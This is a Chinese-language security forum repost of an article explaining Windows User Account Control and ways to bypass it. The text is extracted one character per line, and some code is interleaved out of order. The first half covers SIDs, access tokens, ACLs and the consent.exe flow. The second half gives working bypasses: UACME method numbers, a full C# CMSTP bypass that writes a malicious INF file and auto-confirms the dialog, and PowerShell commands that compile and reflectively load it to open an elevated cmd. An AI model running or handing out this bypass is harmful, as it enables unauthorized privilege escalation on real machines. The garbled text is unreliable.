论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
Web安全
[20538] 2021-03-04_windowsUAC浅谈及绕过
文档创建者:
s7ckTeam
浏览次数:
4
最后更新:
2025-01-18
Web安全
4 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-56
6万
主题
-6万
回帖
-56
积分
管理员
积分
-56
发消息
2021-03-04_windowsUAC浅谈及绕过
w
i
n
d
o
w
s
U
A
C
浅
谈
及
绕
过
K
h
a
n
安
全
攻
防
实
验
室
2
0
2
1
-
0
3
-
0
4
以
下
文
章
来
源
于
谦
安
T
e
a
m
,
作
者
P
o
l
a
r
b
e
a
r
0
x
0
0
前
言
前
言
随
着
网
络
攻
击
的
日
益
繁
多
,
自
w
i
n
d
o
w
s
7
以
及
后
续
的
w
i
n
d
o
w
s
系
统
中
,
微
软
引
入
了
一
种
名
叫
U
A
C
(
U
s
e
r
A
c
c
o
u
n
t
C
o
n
t
r
o
l
,
用
户
账
户
控
制
)
的
一
种
安
全
功
能
,
启
用
U
A
C
后
,
在
用
户
没
有
显
示
允
许
的
情
况
下
,
即
便
是
本
地
管
理
员
账
户
也
无
法
更
改
操
作
系
统
,
这
在
很
大
程
度
上
保
护
了
我
们
的
系
统
安
全
,
以
至
后
来
我
们
常
说
的
b
y
p
a
s
s
U
A
C
。
0
x
0
1
原
理
浅
谈
原
理
浅
谈
一
、
什
么
是
一
、
什
么
是
U
A
C
U
A
C
(
用
户
账
户
控
制
)
是
微
软
自
w
i
n
d
o
w
s
7
以
及
后
续
w
i
n
d
o
w
s
系
统
中
引
入
的
一
种
访
问
控
制
功
能
(
之
后
几
乎
所
有
W
i
n
d
o
w
s
版
本
都
包
含
了
U
A
C
)
。
U
A
C
的
主
要
目
的
是
确
保
应
用
程
序
只
限
于
标
准
用
户
权
限
,
当
需
要
其
他
权
限
时
,
会
弹
框
提
示
询
问
“
是
否
允
许
以
下
程
序
对
此
计
算
机
进
行
更
是
否
允
许
以
下
程
序
对
此
计
算
机
进
行
更
改
?
改
?
”
,
举
个
小
例
子
,
当
我
们
每
次
安
装
新
软
件
的
时
候
,
都
会
弹
出
一
个
对
话
框
,
询
问
我
们
是
否
允
许
此
程
序
对
计
算
机
进
行
更
改
二
、
二
、
U
A
C
的
工
作
流
程
的
工
作
流
程
如
图
:
从
图
上
我
们
可
以
看
到
,
如
果
要
获
得
管
理
员
权
限
,
可
以
通
过
以
下
路
径
:
1
.
进
程
已
经
拥
有
管
理
员
权
限
控
制
;
2
.
进
程
被
用
户
允
许
通
过
管
理
员
权
限
运
行
3
.
未
开
启
U
A
C
谦
安
谦
安
T
e
a
m
.
谦
虚
学
安
全
,
专
注
于
研
究
渗
透
测
试
、
红
蓝
对
抗
、
内
网
安
全
、
二
进
制
安
全
技
术
,
欢
迎
大
家
来
投
稿
,
互
相
交
流
,
营
造
良
好
的
安
全
社
区
三
、
三
、
U
A
C
的
实
现
方
法
(
用
户
登
陆
过
程
)
的
实
现
方
法
(
用
户
登
陆
过
程
)
这
里
先
来
介
绍
一
些
与
U
A
C
相
关
的
几
个
名
词
概
念
基
本
概
念
:
1
.
安
全
描
述
符
:
当
一
个
对
象
被
创
建
时
,
系
统
将
为
其
分
配
安
全
描
述
符
,
安
全
描
述
符
包
含
了
该
对
象
的
属
组
对
该
对
象
所
配
置
的
一
些
安
全
属
性
所
配
置
的
一
些
安
全
属
性
和
策
略
和
策
略
安
全
描
述
符
由
4
部
分
组
成
:
(
1
)
S
I
D
(
表
示
该
对
象
所
有
用
的
S
I
D
)
(
2
)
D
A
C
L
(
表
示
该
对
象
的
访
问
控
制
策
略
)
(
3
)
S
A
C
L
(
表
示
该
对
象
的
访
问
行
为
的
审
计
策
略
)
(
4
)
F
l
a
g
(
其
他
标
志
信
息
)
2
.
S
I
D
:
S
e
c
u
r
e
I
d
e
n
t
i
f
i
e
r
(
安
全
标
识
符
)
,
每
个
用
户
和
账
户
组
都
有
一
个
唯
一
的
S
I
D
,
他
是
用
户
、
用
户
组
和
计
算
机
账
户
的
唯
一
标
识
符
常
见
S
I
D
:
5
0
0
(
A
d
m
i
n
i
s
t
r
a
t
o
r
)
5
0
1
(
G
u
e
s
t
)
5
0
2
(
K
r
b
t
g
t
)
5
1
2
(
D
o
m
a
i
n
A
d
m
i
n
s
)
5
1
3
(
D
o
m
a
i
n
U
s
e
r
s
)
5
1
5
(
D
o
m
a
i
n
C
o
m
p
u
t
e
r
s
)
5
1
6
(
D
o
m
a
i
n
C
o
n
t
r
o
l
l
e
r
s
)
5
1
9
(
E
n
t
e
r
p
r
i
s
e
A
d
m
i
n
s
)
3
.
w
i
n
d
o
w
s
t
o
k
e
n
:
W
i
n
d
o
w
s
安
全
模
型
中
,
有
两
个
角
色
,
一
个
是
访
问
者
(
进
程
)
,
一
个
是
被
访
问
者
(
资
源
)
所
谓
的
资
源
可
以
是
文
件
,
目
录
,
注
册
表
,
管
道
,
命
名
句
柄
,
进
程
线
程
每
个
资
源
都
有
一
个
安
全
描
述
符
,
安
全
描
述
符
当
中
包
含
了
A
C
L
(
A
C
E
)
(
访
问
控
制
列
表
)
访
问
控
制
列
表
中
每
条
规
则
(
A
C
E
)
都
对
应
记
录
着
一
个
S
I
D
被
允
许
和
拒
绝
的
操
作
(
读
、
写
、
执
行
)
访
问
者
为
了
访
问
某
一
个
资
源
,
显
然
也
需
要
一
个
身
份
的
认
证
4
.
W
i
n
d
o
w
s
A
c
c
e
s
s
T
o
k
e
n
(
访
问
令
牌
)
他
是
一
个
描
述
进
程
或
者
线
程
安
全
上
下
文
的
一
个
对
象
。
不
同
的
用
户
登
录
计
算
机
后
,
都
会
生
成
不
同
的
用
户
登
录
计
算
机
后
,
都
会
生
成
一
个
一
个
A
c
c
e
s
s
T
o
k
e
n
,
这
个
T
o
k
e
n
在
用
户
创
建
进
程
或
者
线
程
时
会
被
使
用
,
不
断
的
拷
贝
,
这
就
解
释
了
A
用
户
创
建
一
个
进
程
而
该
进
程
没
有
B
用
户
的
权
限
。
当
用
户
注
释
后
,
系
统
将
会
使
主
令
牌
切
换
为
模
拟
令
牌
,
不
会
将
令
牌
清
除
,
只
会
在
重
启
机
器
后
才
会
清
除
。
A
c
c
e
s
s
T
o
k
e
n
分
为
两
种
(
主
令
牌
、
模
拟
令
牌
)
授
权
令
牌
(
D
e
l
e
g
a
t
i
o
n
t
o
k
e
n
)
:
交
互
式
会
话
登
陆
(
例
:
本
地
用
户
登
陆
、
用
户
桌
面
等
…
)
模
拟
令
牌
(
l
m
p
e
r
s
o
n
a
t
i
o
n
t
o
k
e
n
)
:
非
交
互
式
登
陆
(
例
:
n
e
t
u
s
e
r
、
访
问
共
享
文
件
)
用
户
双
击
运
行
一
个
程
序
都
会
拷
贝
“
e
x
p
l
o
r
e
r
.
e
x
e
”
的
A
c
c
e
s
s
T
o
k
e
n
用
户
注
销
后
系
统
将
会
使
主
令
牌
切
换
到
模
拟
令
牌
,
不
会
将
令
牌
清
除
,
只
会
在
重
启
机
器
后
才
会
清
除
5
.
A
c
c
o
u
n
t
S
I
D
:
(
1
)
G
r
o
u
p
S
I
D
(
2
)
L
o
g
o
n
S
I
D
(
3
)
p
r
i
v
i
l
e
g
e
s
a
d
m
i
n
i
s
t
r
a
t
o
r
(
授
权
给
u
s
e
r
的
特
权
)
6
.
A
C
L
(
访
问
控
制
列
表
)
(
1
)
D
A
C
L
:
用
来
标
志
某
个
安
全
对
象
允
许
被
哪
些
对
象
访
问
(
2
)
S
A
C
L
:
该
对
象
上
的
存
取
方
式
列
表
,
包
含
读
、
写
、
执
行
7
.
A
C
E
:
访
问
控
制
实
体
,
用
来
指
定
特
定
用
户
/
组
的
访
问
权
限
,
如
图
(
1
)
u
s
e
r
o
r
g
r
o
u
p
S
I
D
(
2
)
A
c
c
e
s
s
M
a
s
k
o
b
j
e
c
t
访
问
权
限
(
3
)
A
C
E
F
l
a
g
是
可
以
被
子
目
录
继
承
(
4
)
A
C
E
T
y
p
e
A
l
l
o
w
o
r
D
e
n
y
8
.
w
i
n
d
o
w
s
访
问
控
制
基
本
流
程
,
如
图
:
当
用
户
登
录
系
统
成
功
后
,
系
统
会
为
用
户
生
成
一
个
a
c
c
e
s
s
T
o
k
e
n
。
该
用
户
调
用
的
每
一
个
进
程
都
会
有
一
个
A
c
c
e
s
s
T
o
k
e
n
c
o
p
y
。
当
进
程
要
访
问
某
个
s
e
c
u
r
a
b
l
e
o
b
j
e
c
t
时
,
系
统
会
比
对
a
c
c
e
s
s
T
o
k
e
n
拥
有
的
权
限
(
p
r
e
v
i
l
a
g
e
s
是
否
能
访
问
s
e
c
u
r
a
b
l
e
o
b
j
e
c
t
)
如
果
安
全
描
述
符
中
不
存
在
D
A
C
L
,
则
系
统
会
允
许
线
程
进
行
访
问
。
如
果
存
在
D
A
C
L
,
系
统
会
顺
序
遍
历
D
A
C
L
中
的
每
个
A
C
E
,
检
查
A
C
E
中
的
S
I
D
在
线
程
的
A
c
c
e
s
s
T
k
o
e
n
中
是
否
存
在
。
以
访
问
者
中
的
U
s
e
r
S
I
D
或
G
r
o
u
p
S
I
D
作
为
关
键
字
查
询
被
访
问
对
象
中
的
D
A
C
L
。
顺
序
:
先
查
询
类
型
为
D
E
N
Y
的
A
C
E
,
若
命
中
且
权
限
符
合
则
访
问
拒
绝
;
未
命
中
再
在
A
L
L
O
W
E
D
类
型
的
A
C
E
中
查
询
,
若
命
中
且
类
型
符
合
则
可
以
访
问
;
如
果
前
两
步
后
还
没
命
中
那
么
访
问
拒
绝
9
.
可
以
直
接
使
用
查
看
当
前
用
户
权
限
w
h
o
a
m
i
/
p
r
i
v
四
、
触
发
四
、
触
发
U
A
C
的
条
件
的
条
件
配
置
w
i
n
d
o
w
s
u
p
d
a
t
e
增
加
或
者
删
除
用
户
改
变
用
户
类
型
改
变
U
A
C
设
置
安
装
A
c
t
i
v
e
X
安
装
或
移
除
程
序
安
装
设
备
驱
动
程
序
设
置
家
长
控
制
查
看
其
他
用
户
文
件
夹
更
改
注
册
表
更
改
系
统
保
护
或
者
高
级
系
统
设
置
五
、
五
、
U
A
C
触
发
流
程
触
发
流
程
在
触
发
U
A
C
时
,
系
统
会
创
建
一
个
c
o
n
s
e
n
t
.
e
x
e
进
程
,
该
进
程
通
过
白
名
单
程
序
和
用
户
选
择
来
判
断
是
否
创
建
管
理
员
权
限
进
程
。
请
求
进
程
将
要
请
求
的
进
程
c
m
d
l
i
n
e
和
进
程
路
径
通
过
L
P
C
接
口
传
递
给
a
p
p
i
n
f
o
的
R
A
i
L
u
a
n
c
h
A
d
m
i
n
P
r
o
c
e
s
s
函
数
,
该
函
数
首
先
验
证
路
径
是
否
在
白
名
单
中
,
并
将
结
果
传
递
给
c
o
n
s
e
n
t
.
e
x
e
进
程
,
该
进
程
验
证
被
请
求
的
进
程
签
名
以
及
发
起
者
的
权
限
是
否
符
合
要
求
,
然
后
决
定
是
否
弹
出
U
A
C
框
让
用
户
进
行
确
认
。
这
个
U
A
C
框
会
创
建
新
的
安
全
桌
面
,
屏
蔽
之
前
的
界
面
。
同
时
这
个
U
A
C
框
进
程
是
S
Y
S
T
E
M
权
限
进
程
,
其
他
普
通
进
程
也
无
法
和
其
进
行
通
信
交
互
。
用
户
确
认
之
后
,
会
调
用
C
r
e
a
t
e
P
r
o
c
e
s
s
A
s
U
s
e
r
函
数
以
管
理
员
权
限
启
动
请
求
的
进
程
。
0
x
0
2
b
y
p
a
s
s
U
A
C
方
法
方
法
目
前
公
开
的
b
y
p
a
s
s
u
a
c
的
方
法
本
文
主
要
论
述
前
三
种
方
法
白
名
单
提
权
机
制
;
如
:
W
u
s
a
.
e
x
e
B
y
p
a
s
s
U
A
C
,
i
n
f
D
e
f
a
u
l
t
.
e
x
e
B
y
p
a
s
s
U
A
C
,
c
m
s
t
p
,
e
x
e
B
y
p
a
s
s
U
A
C
C
O
M
接
口
计
划
任
务
D
L
L
劫
持
w
i
n
d
o
w
s
自
身
提
权
漏
洞
1
、
、
U
A
C
M
E
我
们
先
介
绍
一
个
开
源
项
目
:
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
h
f
i
r
e
f
0
x
/
U
A
C
M
E
,
包
括
了
6
6
种
b
y
p
a
s
s
U
a
c
的
方
法
,
直
接
把
源
码
下
载
本
地
,
用
V
S
2
0
1
9
编
译
即
可
,
注
意
对
应
的
S
D
K
版
本
和
平
台
工
具
集
版
本
,
编
译
选
择
R
e
l
e
a
s
e
、
x
6
4
,
然
后
生
成
。
列
表
如
下
:
A
k
a
g
i
,
包
含
所
有
的
M
e
t
h
o
d
s
,
绕
过
U
A
C
的
主
要
方
法
的
源
码
都
在
M
e
t
h
o
d
目
录
下
A
k
a
t
s
u
k
i
,
W
O
W
6
4
l
o
g
g
e
r
绕
过
U
A
C
方
法
的
d
l
l
源
码
F
u
b
u
k
i
,
好
几
个
绕
过
U
A
C
利
用
的
代
理
D
L
L
,
使
用
了
劫
持
O
l
e
3
2
.
d
l
l
方
法
H
i
b
i
k
i
,
A
V
R
F
方
法
绕
过
U
A
C
的
利
用
方
法
的
d
l
l
源
码
I
k
a
z
u
c
h
i
,
利
用
劫
持
c
o
m
c
t
l
3
2
.
d
l
l
组
件
绕
过
U
A
C
的
利
用
方
法
的
d
l
l
源
码
I
n
a
z
u
m
a
,
S
H
I
M
相
关
利
用
的
绕
过
U
A
C
的
利
用
方
法
的
E
X
E
源
码
K
a
m
i
k
a
z
e
,
M
M
C
劫
持
方
法
利
用
的
M
S
C
文
件
K
o
n
g
o
u
,
利
用
H
y
b
r
i
d
方
法
绕
过
U
A
C
的
D
l
l
N
a
k
a
,
压
缩
或
编
码
的
小
工
具
源
码
Y
u
u
b
a
r
i
,
用
来
查
看
相
关
U
A
C
的
设
定
信
息
,
以
及
扫
描
存
在
可
利
用
的
程
序
A
K
a
g
i
6
4
可
以
使
用
或
者
启
动
程
序
,
指
的
是
中
方
法
索
引
,
运
行
后
可
以
直
接
得
到
管
理
员
权
限
的
窗
口
。
Y
u
u
b
a
r
i
会
生
成
一
个
U
a
c
I
n
f
o
6
4
.
e
x
e
,
可
以
快
速
查
看
系
统
的
U
A
C
设
定
信
息
以
及
所
有
可
以
利
用
的
程
序
和
C
O
M
组
件
,
会
在
同
一
目
录
下
生
成
一
个
l
o
g
文
件
记
录
所
有
输
出
结
果
。
a
k
a
g
i
3
2
4
1
或
6
1
a
k
a
g
i
6
4
4
1
或
者
6
1
4
1
和
6
1
R
E
A
D
M
E
c
m
d
2
、
利
用
白
名
单
、
利
用
白
名
单
B
y
p
a
s
s
U
A
C
利
用
白
名
单
去
b
y
p
a
s
s
U
A
C
的
好
处
就
是
:
进
程
本
身
具
有
管
理
员
权
限
或
者
可
以
直
接
获
取
管
理
员
权
限
的
话
,
就
不
会
弹
出
U
A
C
框
让
用
户
去
确
认
。
这
里
我
们
利
用
微
软
"
c
m
s
t
p
.
e
x
e
"
去
绕
过
U
A
C
给
出
脚
本
链
接
:
h
t
t
p
s
:
/
/
g
i
s
t
.
g
i
t
h
u
b
.
c
o
m
/
t
y
l
e
r
a
p
p
l
e
b
a
u
m
/
a
e
8
c
b
3
8
e
d
8
3
1
4
5
1
8
d
9
5
b
2
e
3
2
a
6
f
0
d
3
f
1
#
f
i
l
e
-
u
a
c
b
y
p
a
s
s
c
m
s
t
p
-
p
s
1
,
我
们
需
要
修
改
代
码
中
第
1
6
行
为
,
然
后
运
行
U
A
C
B
y
p
a
s
s
C
M
S
T
P
.
p
s
1
,
得
到
管
理
员
权
限
的
c
m
d
窗
口
。
C
:
W
i
n
d
o
w
s
S
y
s
t
e
m
3
2
c
m
d
.
e
x
e
我
们
把
脚
本
扩
展
一
下
,
使
用
C
#
去
重
写
,
生
成
一
个
带
有
D
L
L
反
射
和
很
少
字
符
串
的
p
o
w
e
r
s
h
e
l
l
脚
本
,
给
出
代
码
u
s
i
n
g
S
y
s
t
e
m
;
u
s
i
n
g
S
y
s
t
e
m
.
T
e
x
t
;
u
s
i
n
g
S
y
s
t
e
m
.
I
O
;
u
s
i
n
g
S
y
s
t
e
m
.
D
i
a
g
n
o
s
t
i
c
s
;
u
s
i
n
g
S
y
s
t
e
m
.
C
o
m
p
o
n
e
n
t
M
o
d
e
l
;
u
s
i
n
g
S
y
s
t
e
m
.
W
i
n
d
o
w
s
;
u
s
i
n
g
S
y
s
t
e
m
.
R
u
n
t
i
m
e
.
I
n
t
e
r
o
p
S
e
r
v
i
c
e
s
;
p
u
b
l
i
c
c
l
a
s
s
C
M
S
T
P
B
y
p
a
s
s
{
p
u
b
l
i
c
s
t
a
t
i
c
s
t
r
i
n
g
I
n
f
D
a
t
a
=
@
"
[
v
e
r
s
i
o
n
]
S
i
g
n
a
t
u
r
e
=
$
c
h
i
c
a
g
o
$
A
d
v
a
n
c
e
d
I
N
F
=
2
.
5
[
D
e
f
a
u
l
t
I
n
s
t
a
l
l
]
C
u
s
t
o
m
D
e
s
t
i
n
a
t
i
o
n
=
C
u
s
t
I
n
s
t
D
e
s
t
S
e
c
t
i
o
n
A
l
l
U
s
e
r
s
R
u
n
P
r
e
S
e
t
u
p
C
o
m
m
a
n
d
s
=
R
u
n
P
r
e
S
e
t
u
p
C
o
m
m
a
n
d
s
S
e
c
t
i
o
n
[
R
u
n
P
r
e
S
e
t
u
p
C
o
m
m
a
n
d
s
S
e
c
t
i
o
n
]
;
C
o
m
m
a
n
d
s
H
e
r
e
w
i
l
l
b
e
r
u
n
B
e
f
o
r
e
S
e
t
u
p
B
e
g
i
n
s
t
o
i
n
s
t
a
l
l
R
E
P
L
A
C
E
_
C
O
M
M
A
N
D
_
L
I
N
E
t
a
s
k
k
i
l
l
/
I
M
c
m
s
t
p
.
e
x
e
/
F
[
C
u
s
t
I
n
s
t
D
e
s
t
S
e
c
t
i
o
n
A
l
l
U
s
e
r
s
]
4
9
0
0
0
,
4
9
0
0
1
=
A
l
l
U
S
e
r
_
L
D
I
D
S
e
c
t
i
o
n
,
7
[
A
l
l
U
S
e
r
_
L
D
I
D
S
e
c
t
i
o
n
]
"
"
H
K
L
M
"
"
,
"
"
S
O
F
T
W
A
R
E
M
i
c
r
o
s
o
f
t
W
i
n
d
o
w
s
C
u
r
r
e
n
t
V
e
r
s
i
o
n
A
p
p
P
a
t
h
s
C
M
M
G
R
3
2
.
E
X
E
"
"
,
"
"
P
r
o
f
i
l
e
I
n
s
t
a
l
l
P
a
t
h
"
"
,
"
"
%
U
n
e
x
p
e
c
t
e
d
E
r
r
o
r
%
"
"
,
"
"
"
"
[
S
t
r
i
n
g
s
]
S
e
r
v
i
c
e
N
a
m
e
=
"
"
C
o
r
p
V
P
N
"
"
S
h
o
r
t
S
v
c
N
a
m
e
=
"
"
C
o
r
p
V
P
N
"
"
"
;
[
D
l
l
I
m
p
o
r
t
(
"
u
s
e
r
3
2
.
d
l
l
"
)
]
p
u
b
l
i
c
s
t
a
t
i
c
e
x
t
e
r
n
b
o
o
l
S
h
o
w
W
i
n
d
o
w
(
I
n
t
P
t
r
h
W
n
d
,
i
n
t
n
C
m
d
S
h
o
w
)
;
[
D
l
l
I
m
p
o
r
t
(
"
u
s
e
r
3
2
.
d
l
l
"
,
S
e
t
L
a
s
t
E
r
r
o
r
=
t
r
u
e
)
]
p
u
b
l
i
c
s
t
a
t
i
c
e
x
t
e
r
n
b
o
o
l
S
e
t
F
o
r
e
g
r
o
u
n
d
W
i
n
d
o
w
(
I
n
t
P
t
r
h
W
n
d
)
;
p
u
b
l
i
c
s
t
a
t
i
c
s
t
r
i
n
g
B
i
n
a
r
y
P
a
t
h
=
"
c
:
w
i
n
d
o
w
s
s
y
s
t
e
m
3
2
c
m
s
t
p
.
e
x
e
"
;
/
*
生
成
一
个
随
机
的
名
为
.
i
n
f
的
文
件
,
该
文
件
带
有
要
以
U
A
C
特
权
执
行
的
命
令
*
/
p
u
b
l
i
c
s
t
a
t
i
c
s
t
r
i
n
g
S
e
t
I
n
f
F
i
l
e
(
s
t
r
i
n
g
C
o
m
m
a
n
d
T
o
E
x
e
c
u
t
e
)
{
s
t
r
i
n
g
R
a
n
d
o
m
F
i
l
e
N
a
m
e
=
P
a
t
h
.
G
e
t
R
a
n
d
o
m
F
i
l
e
N
a
m
e
(
)
.
S
p
l
i
t
(
C
o
n
v
e
r
t
.
T
o
C
h
a
r
(
"
.
"
)
)
[
0
]
;
s
t
r
i
n
g
T
e
m
p
o
r
a
r
y
D
i
r
=
"
C
:
w
i
n
d
o
w
s
t
e
m
p
"
;
S
t
r
i
n
g
B
u
i
l
d
e
r
O
u
t
p
u
t
F
i
l
e
=
n
e
w
S
t
r
i
n
g
B
u
i
l
d
e
r
(
)
;
O
u
t
p
u
t
F
i
l
e
.
A
p
p
e
n
d
(
T
e
m
p
o
r
a
r
y
D
i
r
)
;
O
u
t
p
u
t
F
i
l
e
.
A
p
p
e
n
d
(
"
"
)
;
O
u
t
p
u
t
F
i
l
e
.
A
p
p
e
n
d
(
R
a
n
d
o
m
F
i
l
e
N
a
m
e
)
;
O
u
t
p
u
t
F
i
l
e
.
A
p
p
e
n
d
(
"
.
i
n
f
"
)
;
S
t
r
i
n
g
B
u
i
l
d
e
r
n
e
w
I
n
f
D
a
t
a
=
n
e
w
S
t
r
i
n
g
B
u
i
l
d
e
r
(
I
n
f
D
a
t
a
)
;
n
e
w
I
n
f
D
a
t
a
.
R
e
p
l
a
c
e
(
"
R
E
P
L
A
C
E
_
C
O
M
M
A
N
D
_
L
I
N
E
"
,
C
o
m
m
a
n
d
T
o
E
x
e
c
u
t
e
)
;
F
i
l
e
.
W
r
i
t
e
A
l
l
T
e
x
t
(
O
u
t
p
u
t
F
i
l
e
.
T
o
S
t
r
i
n
g
(
)
,
n
e
w
I
n
f
D
a
t
a
.
T
o
S
t
r
i
n
g
(
)
)
;
r
e
t
u
r
n
O
u
t
p
u
t
F
i
l
e
.
T
o
S
t
r
i
n
g
(
)
;
}
p
u
b
l
i
c
s
t
a
t
i
c
b
o
o
l
E
x
e
c
u
t
e
(
s
t
r
i
n
g
C
o
m
m
a
n
d
T
o
E
x
e
c
u
t
e
)
{
i
f
(
!
F
i
l
e
.
E
x
i
s
t
s
(
B
i
n
a
r
y
P
a
t
h
)
)
{
C
o
n
s
o
l
e
.
W
r
i
t
e
L
i
n
e
(
"
C
o
u
l
d
n
o
t
f
i
n
d
c
m
s
t
p
.
e
x
e
b
i
n
a
r
y
!
"
)
;
r
e
t
u
r
n
f
a
l
s
e
;
}
S
t
r
i
n
g
B
u
i
l
d
e
r
I
n
f
F
i
l
e
=
n
e
w
S
t
r
i
n
g
B
u
i
l
d
e
r
(
)
;
I
n
f
F
i
l
e
.
A
p
p
e
n
d
(
S
e
t
I
n
f
F
i
l
e
(
C
o
m
m
a
n
d
T
o
E
x
e
c
u
t
e
)
)
;
C
o
n
s
o
l
e
.
W
r
i
t
e
L
i
n
e
(
"
P
a
y
l
o
a
d
f
i
l
e
w
r
i
t
t
e
n
t
o
"
+
I
n
f
F
i
l
e
.
T
o
S
t
r
i
n
g
(
)
)
;
P
r
o
c
e
s
s
S
t
a
r
t
I
n
f
o
s
t
a
r
t
I
n
f
o
=
n
e
w
P
r
o
c
e
s
s
S
t
a
r
t
I
n
f
o
(
B
i
n
a
r
y
P
a
t
h
)
;
s
t
a
r
t
I
n
f
o
.
A
r
g
u
m
e
n
t
s
=
"
/
a
u
"
+
I
n
f
F
i
l
e
.
T
o
S
t
r
i
n
g
(
)
;
s
t
a
r
t
I
n
f
o
.
U
s
e
S
h
e
l
l
E
x
e
c
u
t
e
=
f
a
l
s
e
;
P
r
o
c
e
s
s
.
S
t
a
r
t
(
s
t
a
r
t
I
n
f
o
)
;
I
n
t
P
t
r
w
i
n
d
o
w
H
a
n
d
l
e
=
n
e
w
I
n
t
P
t
r
(
)
;
w
i
n
d
o
w
H
a
n
d
l
e
=
I
n
t
P
t
r
.
Z
e
r
o
;
d
o
{
w
i
n
d
o
w
H
a
n
d
l
e
=
S
e
t
W
i
n
d
o
w
A
c
t
i
v
e
(
"
c
m
s
t
p
"
)
;
}
w
h
i
l
e
(
w
i
n
d
o
w
H
a
n
d
l
e
=
=
I
n
t
P
t
r
.
Z
e
r
o
)
;
S
y
s
t
e
m
.
W
i
n
d
o
w
s
.
F
o
r
m
s
.
S
e
n
d
K
e
y
s
.
S
e
n
d
W
a
i
t
(
"
{
E
N
T
E
R
}
"
)
;
r
e
t
u
r
n
t
r
u
e
;
}
p
u
b
l
i
c
s
t
a
t
i
c
I
n
t
P
t
r
S
e
t
W
i
n
d
o
w
A
c
t
i
v
e
(
s
t
r
i
n
g
P
r
o
c
e
s
s
N
a
m
e
)
命
名
为
"
s
o
u
r
c
e
.
c
s
"
然
后
我
们
使
用
p
o
w
e
r
s
h
e
l
l
来
编
译
它
,
在
同
目
录
下
打
开
p
o
w
e
r
s
h
e
l
l
,
运
行
以
下
命
令
编
译
然
后
我
们
得
到
了
c
m
s
t
p
-
B
y
p
a
s
s
U
A
C
.
d
l
l
然
后
我
们
开
始
运
行
加
载
这
个
d
l
l
,
运
行
如
下
命
令
:
然
后
我
们
就
得
到
了
一
个
管
理
员
权
限
的
c
m
d
窗
口
{
P
r
o
c
e
s
s
[
]
t
a
r
g
e
t
=
P
r
o
c
e
s
s
.
G
e
t
P
r
o
c
e
s
s
e
s
B
y
N
a
m
e
(
P
r
o
c
e
s
s
N
a
m
e
)
;
i
f
(
t
a
r
g
e
t
.
L
e
n
g
t
h
=
=
0
)
r
e
t
u
r
n
I
n
t
P
t
r
.
Z
e
r
o
;
t
a
r
g
e
t
[
0
]
.
R
e
f
r
e
s
h
(
)
;
I
n
t
P
t
r
W
i
n
d
o
w
H
a
n
d
l
e
=
n
e
w
I
n
t
P
t
r
(
)
;
W
i
n
d
o
w
H
a
n
d
l
e
=
t
a
r
g
e
t
[
0
]
.
M
a
i
n
W
i
n
d
o
w
H
a
n
d
l
e
;
i
f
(
W
i
n
d
o
w
H
a
n
d
l
e
=
=
I
n
t
P
t
r
.
Z
e
r
o
)
r
e
t
u
r
n
I
n
t
P
t
r
.
Z
e
r
o
;
S
e
t
F
o
r
e
g
r
o
u
n
d
W
i
n
d
o
w
(
W
i
n
d
o
w
H
a
n
d
l
e
)
;
S
h
o
w
W
i
n
d
o
w
(
W
i
n
d
o
w
H
a
n
d
l
e
,
5
)
;
r
e
t
u
r
n
W
i
n
d
o
w
H
a
n
d
l
e
;
}
}
A
d
d
-
T
y
p
e
-
T
y
p
e
D
e
f
i
n
i
t
i
o
n
(
[
I
O
.
F
i
l
e
]
:
:
R
e
a
d
A
l
l
T
e
x
t
(
"
$
p
w
d
S
o
u
r
c
e
.
c
s
"
)
)
-
R
e
f
e
r
e
n
c
e
d
A
s
s
e
m
b
l
i
e
s
"
S
y
s
t
e
m
.
W
i
n
d
o
w
s
.
F
o
r
m
s
"
-
O
u
t
p
u
t
A
s
s
e
m
b
l
y
"
c
m
s
t
p
-
B
y
p
a
s
s
U
A
C
.
d
l
l
"
[
R
e
f
l
e
c
t
i
o
n
.
A
s
s
e
m
b
l
y
]
:
:
L
o
a
d
(
[
I
O
.
F
i
l
e
]
:
:
R
e
a
d
A
l
l
B
y
t
e
s
(
"
$
p
w
d
c
m
s
t
p
-
B
y
p
a
s
s
U
A
C
.
d
l
l
"
)
)
[
C
M
S
T
P
B
y
p
a
s
s
]
:
:
E
x
e
c
u
t
e
(
"
C
:
W
i
n
d
o
w
s
S
y
s
t
e
m
3
2
c
m
d
.
e
x
e
"
)
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页
浏览过的版块
IOT